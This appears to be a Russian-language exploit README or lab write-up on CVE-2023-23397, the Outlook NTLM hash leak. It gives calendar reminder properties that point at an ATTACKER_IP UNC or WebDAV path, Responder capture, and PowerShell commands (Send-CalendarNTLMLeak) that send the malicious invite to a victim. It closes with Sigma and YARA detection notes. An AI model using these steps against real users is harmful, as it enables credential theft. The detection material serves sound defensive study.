
Эксплойт для CVE-2023-23397 — утечка NTLM-хэша Outlook через вредоносные приглашения в календаре. Включает создание полезной нагрузки на PowerShell, интеграцию с Responder и правила обнаружения для реагирования на инциденты.
Чтобы использовать эту уязвимость, злоумышленник должен создать вредоносное приглашение на встречу, которое содержит ссылку на звуковой файл, указывающий на файл в сетевой папке на машине злоумышленника. На низком уровне Outlook хранит ссылку на звуковой файл во внутреннем параметре «PidLidReminderFileParameter». Чтобы гарантировать, что звук, встроенный в наше вредоносное письмо, будет иметь приоритет над стандартными настройками напоминаний жертвы, нам также потребуется установить другой параметр «PidLidReminderOverride» в значение true.
Чтобы настроить свойство «PidLidReminderFileParameter» на сетевую папку, злоумышленник может указать путь UNC (Universal Naming Convention) вместо локального файла. UNC используется в операционных системах Windows для поиска сетевых ресурсов (файлов, принтеров, общих документов). Эти пути состоят из двойной обратной косой черты, IP-адреса или имени компьютера, на котором размещен ресурс, имени папки и имени файла. Например: \ATTACKER_IP\foo\bar.wav
Когда жертва получает вредоносное письмо, UNC-путь направляет ее к этой SMB-папке, инициируя уязвимость. Это приводит к запуску процесса аутентификации NTLM на машине злоумышленника, утечке хеша Net-NTLMv2, который злоумышленник может попытаться взломать позже. Если по какой-то причине протокол SMB не является подходящим вариантом, несерверные версии Windows будут принимать UNC-пути, указывающие на порты 80 или 443, и использовать HTTP для получения файла с веб-сервера с поддержкой WebDAV. Синтаксис такого UNC-пути следующий:
\ATTACKER_IP@80\foo\bar.wav ИЛИ \ATTACKER_IP@443\foo\bar.wav
Это может быть полезно для обхода ограничений брандмауэра, блокирующих исходящие соединения на порт 445 (SMB).
Фаза атаки Давайте создадим вредоносное письмо, содержащее встречу с необходимыми параметрами для ее запуска.
Настройка Responder: Поскольку мы ожидаем, что жертва инициирует попытку аутентификации против злоумышленника на порту 445, мы настроим Responder для обработки процесса аутентификации и захвата хеша NetNTLM. Если вы не знакомы с Responder, он просто эмулирует SMB-сервер и захватывает любые попытки аутентификации против него. responder -I <интерфейс>
Попытка создать вредоносную встречу вручную:
OutlookSpy: Даже если Outlook не может установить звуковой файл напоминания по UNC-пути, мы можем использовать плагин OutlookSpy для этого. Этот плагин позволит вам напрямую получить доступ ко всем внутренним параметрам Outlook, включая звуковой файл напоминания. Вам нужно будет установить его вручную перед продолжением. Обязательно закройте Outlook перед запуском установщика.
Мы можем использовать вкладку «Script» и следующий скрипт для изменения параметров на требуемые значения: AppointmentItem.ReminderOverrideDefault = true AppointmentItem.ReminderPlaySound = true AppointmentItem.ReminderSoundFile = "\<IP злоумышленника><общая_папка>\file.wav"
Обязательно нажмите кнопку «Run», чтобы изменения применились. Вы можете вернуться на вкладку «Properties», чтобы проверить, что значения были правильно изменены. Наконец, сохраните встречу, чтобы добавить ее в свой календарь, убедившись, что напоминание установлено на «0 минут» и что время и дата встречи соответствуют текущим, так как мы хотим, чтобы оно сработало немедленно.
Если все прошло, как ожидалось, вы должны сразу увидеть всплывающее напоминание. И вы должны получить попытку аутентификации в консоли Responder на машине злоумышленника.
Оружизация Обобщая шаги, необходимые для эксплуатации уязвимости, злоумышленнику потребуется:
Шаги 3 и 4 уже выполнены за нас с помощью Responder, но создание вредоносной встречи вручную довольно утомительно. К счастью, доступно несколько эксплойтов для создания и отправки вредоносной встречи, один из которых представлен в этом репозитории.
Этот эксплойт на PowerShell использует COM-объекты Outlook для легкого создания писем и встреч. Он содержит несколько функций, которые мы можем использовать: Save-CalendarNTLMLeak: эта функция создает вредоносную встречу и сохраняет ее в вашем календаре. Полезно для тестирования. Send-CalendarNTLMLeak: эта функция создает вредоносную встречу и отправляет ее по электронной почте жертве. Приглашение будет отправлено с текущей учетной записи Outlook по умолчанию.
Использование эксплойта: В PowerShell вы можете импортировать функции эксплойта с помощью командлета «Import-Module». После этого обе функции будут доступны в вашем текущем сеансе PowerShell. Чтобы отправить письмо с вредоносной встречей, вы можете просто выполнить следующую команду:
PS C:\Users\User\Desktop> Import-Module .\CVE-2023-23397.ps1 PS C:\Users\User\Desktop> Send-CalendarNTLMLeak -recipient "[email protected]" -remotefilepath "\ATTACKER_IP\foo\bar.wav" -meetingsubject "Random Meeting" -meetingbody "This is just a regular meeting invitation."
Поскольку эксплойт использует текущий экземпляр Outlook для отправки письма, вы, вероятно, получите несколько предупреждений с запросом разрешения для скрипта отправлять письма от вашего имени. Обязательно нажимайте «Allow» столько раз, сколько потребуется. Установка флажка «Allow access for 10 minutes» также может ускорить этот процесс.
Обнаружение и смягчение
Обнаружение: Теперь, когда мы прошли шаги по оружизации атаки CVE-2023-23397 в Outlook, давайте поговорим о нескольких способах обнаружения этой атаки в сети. Каждая атака оставляет шаблоны или артефакты, которые могут помочь команде обнаружения идентифицировать угрозы. Все зависит от видимости сети и источников журналов, которые собираются и обеспечивают столь важную видимость.
Правила Sigma: Прилагаемое правило Sigma обнаруживает инициацию Outlook соединения с WebDav или SMB-папкой, что указывает на пост-эксплуатационную фазу. Это правило Sigma ищет запуск «svchost.exe», создающего «rundll32.exe» с аргументами командной строки, такими как C:\windows\system32\davclnt.dll,DavSetCookie, что указывает на пост-эксплуатационную/экфильтрационную фазу. Эти правила SIGMA могут быть преобразованы в инструмент обнаружения и мониторинга для поиска подозрительной активности журналов в сети.
Правило YARA: Правило YARA ищет шаблон в файлах на диске. Прилагаемые сообществом правила YARA могут быть использованы для обнаружения подозрительных MSG-файлов на диске с двумя свойствами, обсуждаемыми в предыдущих задачах.
Microsoft выпустила PowerShell-скрипт «CVE-2023-23397.ps1», который проверяет элементы обмена сообщениями Exchange, такие как почта, календарь и задачи, на наличие индикаторов компрометации, связанных с атакой CVE-2023-23397. Скрипт можно использовать для аудита и очистки обнаруженных элементов.
Смягчение: Эта уязвимость активно эксплуатируется в реальных условиях. Некоторые из рекомендуемых шагов, рекомендованных Microsoft для смягчения и предотвращения этой атаки, включают: